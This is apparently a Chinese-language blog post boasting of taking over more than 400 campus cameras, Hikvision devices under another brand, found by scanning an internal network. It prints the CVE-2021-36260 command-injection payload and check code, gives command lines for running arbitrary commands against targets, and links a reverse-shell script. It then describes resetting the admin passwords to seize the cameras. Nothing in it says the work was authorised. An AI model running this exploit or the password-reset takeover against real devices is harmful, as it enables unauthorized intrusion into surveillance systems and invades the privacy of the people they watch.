遥遥领先！实战|一口气拿下400+摄像头

0x0 信息收集

进入内网使用scan进行 172整个A段的扫描发现大量的Hikvision IP Camera。但是使用浏览器访问页面，发现是竞业达。经过谷歌搜索，发现竞业达使用的就是海康威视的产品，只不过套了一个壳。

0x1 poc验证

知道是海康威视之后，就可以直接用poc来打了。

我这里用 CVE-2021-36260这个脚本来打。项目地址如下 https://github.com/Cuerz/CVE-2021-36260/blob/main/CVE-2021-36260.py

 headers = {
        "host": f'{host}:{port}',
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        'Accept': '*/*',
        'X-Requested-With': 'XMLHttpRequest',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8'
    }
    data = '<?xml version="1.0" encoding="UTF-8"?>' 
           f'<language>$(>webLib/cu)</language>'
    try:
        resp1 = requests.put(url=origin_url + '/SDK/webLanguage', headers=headers, data=data, timeout=3, verify=False)
        resp2 = requests.get(origin_url + '/cu')
        if resp2.status_code == 200:
            print(GREEN + f'[!] {url} is verified exploitablen')
            return True
        else:
            print(BLUE + f'[+] Remote is not vulnerable (Code: {resp2.status_code})n')
            return False
    except:
        print(RED + f'[-]Cannot connect to ' + url + 'n')

使用方法:

python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")

0x2 反弹shell

上面的脚本只能检测但是如果需要反弹shell 进一步利用需要用到这个脚本 https://github.com/Aiminsun/CVE-2021-36260/blob/main/CVE-2021-36260.py 。反弹shell之后，得到的是一个psh，这个psh只能执行一些内部自带的命令（我太菜了），但是查看摄像头足以，直接执行restpassword。然后重新刷新网页，就会提示你设置新的账号密码。下面来欣赏一下效果吧！